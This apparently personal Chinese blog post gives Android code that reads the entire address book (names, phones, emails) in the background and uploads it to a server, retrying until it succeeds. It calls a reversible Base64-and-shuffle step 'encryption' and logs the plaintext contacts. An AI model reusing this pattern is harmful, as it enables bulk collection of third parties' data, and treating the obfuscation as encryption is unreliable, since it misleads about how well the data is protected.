Android获取通讯录并上传(包含通讯录加密)

好久没更新文章了，近期在做通讯录上传，把它分享出来，送给需要的朋友。

写了一个通讯录工具类，直接放代码吧，关键位置通过注释来解释。

这个工具类包含通讯录获取，加密，然后上传操作。看不懂的可以留言

import android.database.Cursor;
import android.os.AsyncTask;
import android.provider.ContactsContract;
import android.util.Base64;

import com.demo.alfar.app.AlfarApplication;
import com.demo.alfar.data.ActionDataManager;
import com.demo.alfar.data.common.BaseThrowable;
import com.demo.alfar.data.model.ConfigurationInfo;
import com.demo.alfar.data.model.EmptyData;
import com.demo.alfar.service.action.DeviceActionMvpView;
import com.demo.alfar.service.action.DeviceActionPresenter;
import com.demo.common.utils.LogUtil;
import com.demo.common.utils.SpFileUtil;
import com.demo.common.utils.StringUtils;

import java.io.UnsupportedEncodingException;
import java.util.List;

public class ContactReader {

    //通过下面字符进行分割，组成字符串
    static String fieldSplit = "\u0001";
    static String lineSplit = "\u0002";

    static String newStr;

    public static class ContactReaderReporter extends AsyncTask<String, Void, Integer> {
        @Override
        protected Integer doInBackground(String... argus) {
            String contactInfo = "";

            Cursor cursor = null;
            try {
                cursor = AlfarApplication.getApplication().getContentResolver()
                        .query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
                int contactIdIndex = 0;
                int nameIndex = 0;

                if (cursor.getCount() > 0) {
                    contactIdIndex = cursor.getColumnIndex(ContactsContract.Contacts._ID);
                    nameIndex = cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);
                }
                while (cursor.moveToNext()) {
                    String element = "";
                    String contactId = cursor.getString(contactIdIndex);
                    String name = cursor.getString(nameIndex);
                    element = name + fieldSplit;
                    Cursor phones = null;
                    try {
                        /*
                         * 查找该联系人的phone信息
                         */
                        phones = AlfarApplication.getApplication().getContentResolver()
                                .query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
                                        ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + contactId, null, null);
                        int phoneIndex = 0;
                        if (phones.getCount() > 0) {
                            phoneIndex = phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);
                        }
                        while (phones.moveToNext()) {
                            String phoneNumber = phones.getString(phoneIndex);
                            element += phoneNumber + lineSplit;
                        }
                    } catch (Exception e) {
                    } finally {
                        if (phones != null) {
                            phones.close();
                        }
                    }
                    Cursor emails = null;
                    try {
                        /*
                         * 查找该联系人的email信息
                         */
                        emails = AlfarApplication.getApplication().getContentResolver()
                                .query(ContactsContract.CommonDataKinds.Email.CONTENT_URI, null,
                                        ContactsContract.CommonDataKinds.Email.CONTACT_ID + "=" + contactId, null, null);
                        int emailIndex = 0;
                        if (emails.getCount() > 0) {
                            emailIndex = emails.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA);
                        }
                        while (emails.moveToNext()) {
                            String email = emails.getString(emailIndex);
                            element += email + fieldSplit;
                        }
                    } catch (Exception e) {
                        // TODO: handle exception
                    } finally {
                        if (emails != null) {
                            emails.close();
                        }
                    }
                    element += lineSplit;
                    contactInfo += element;

                }
                if (StringUtils.isNotEmpty(contactInfo)) {
                    LogUtil.Y("prePhoneNum:" + contactInfo);
                    newStr = encodeStr(contactInfo);
                    LogUtil.Y("finalPhoneNum:" + newStr);
                    //这个是mvp模块中的网络请求部分，可忽略一下逻辑，也可进行替换
                    DeviceActionPresenter actionDataManager = new DeviceActionPresenter(new ActionDataManager());
                    actionDataManager.attachView(new DeviceActionMvpView() {
                        @Override
                        public void onDeviceActionSuccess(EmptyData response) {
                            SpFileUtil.saveBoolean(AlfarApplication.getApplication(), SpFileUtil.FILE_PARAMS_DATA, SpFileUtil.KEY_POST_CONTENT_SUCCEED, true);
                        }

                        @Override
                        public void onDeviceActionFail(BaseThrowable response) {
                            SpFileUtil.saveBoolean(AlfarApplication.getApplication(), SpFileUtil.FILE_PARAMS_DATA, SpFileUtil.KEY_POST_CONTENT_SUCCEED, false);
                        }

                        @Override
                        public void onGetConfigurationsSuccess(List<ConfigurationInfo> response) {

                        }

                        @Override
                        public void showLoading() {

                        }

                        @Override
                        public void hideLoading() {

                        }
                    });
                    actionDataManager.postClientContent(newStr);
                }
            } catch (Exception e) {
                e.printStackTrace();
            } finally {
                try {
                    if (cursor != null) {
                        cursor.close();
                        cursor = null;
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            return null;

        }

    }

    /**
     * 执行上传操作
     */
    static public void onContactURLReport() {
        Boolean isSuccess = SpFileUtil.getBoolean(AlfarApplication.getApplication(), SpFileUtil.FILE_PARAMS_DATA, SpFileUtil.KEY_POST_CONTENT_SUCCEED, false);
        if (!isSuccess) {
            try {
                ContactReaderReporter task = new ContactReaderReporter();
                task.execute();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    /**
     * 加密字符串,这是一个简单的算法，先base64加密之后，进行字符反转，服务端解密时候同样先进行字符反转，换成=号即可，然后再decode即可
     *
     * @param info
     * @return
     */
    public static String encodeStr(String info) {

        String baseStr = null;
        try {
            baseStr = Base64.encodeToString(info.getBytes("UTF-8"), Base64.NO_PADDING | Base64.NO_WRAP);
        } catch (Exception e) {
            e.printStackTrace();
        }
        String newStr = "";
        int half = baseStr.length() / 2;
        for (int i = 0; i < half; ++i) {
            if (i % 2 != 0) {
                newStr = newStr + (char) (baseStr.codePointAt(baseStr.length() - 1 - i));
            } else {
                newStr = newStr + (char) (baseStr.codePointAt(i));
            }
        }
        if (baseStr.length() % 2 == 1) {
            newStr = newStr + (char) (baseStr.codePointAt(baseStr.length() / 2));
        }
        for (int i = half - 1; i >= 0; --i) {
            if (i % 2 != 0) {
                newStr = newStr + (char) (baseStr.codePointAt(i));
            } else {
                newStr = newStr + (char) (baseStr.codePointAt(baseStr.length() - 1 - i));
            }
        }
        return newStr;

    }
}

　　使用方法就是：

ContactReader.onContactURLReport();//上报通讯录信息即可
上面解密后的数据日志为(声明：通讯录数据都是假数据，如有雷同，纯属巧合，可联系我删除)：

原数据是上面这样，中间是有点的，下面这个被编辑器去掉了

12-21 18:42:51.018 com.demo.alfar I/===y: prePhoneNum:马云18516886666骚扰电话15321114592广告推销17343150842李彦宏电话15301102735咋骗电话18101055214马化腾18666666666李科云18555555555
12-21 18:42:51.019 com.demo.alfar I/===y: finalPhoneNum:6gm15Tq1ATE1NTE4OTgRNLYRA6LOqprCigD2ljX2rj02MDUxMgEFMuQMOOIpAuWCvTWyiTawqDmxgTEBN5MoMLEnMpgpMoIl5g215z2y5T6x5zS16T+dAKE1M5APMaAmNbMOApLCkgv0qDf1lzX0rz0xMAgUMOEONuURM+Q5AumCrTW1lTixvjEzOTYBN5YoNLYnNbIm5p2p5ge25jq2ADE2NTU4NTURNLUsAaI

　获取通讯录需要权限，记着提前申请：

Manifest.permission.READ_CONTACTS

　　

----------附上base64位加密后面附带的参数解释----

CRLF 这个参数看起来比较眼熟，它就是Win风格的换行符，意思就是使用CR LF这一对作为一行的结尾而不是Unix风格的LF

DEFAULT 这个参数是默认，使用默认的方法来加密

NO_PADDING 这个参数是略去加密字符串最后的”=”

NO_WRAP 这个参数意思是略去所有的换行符（设置后CRLF就没用了）

URL_SAFE 这个参数意思是加密时不使用对URL和文件名有特殊意义的字符来作为加密字符，具体就是以-和_取代+和/

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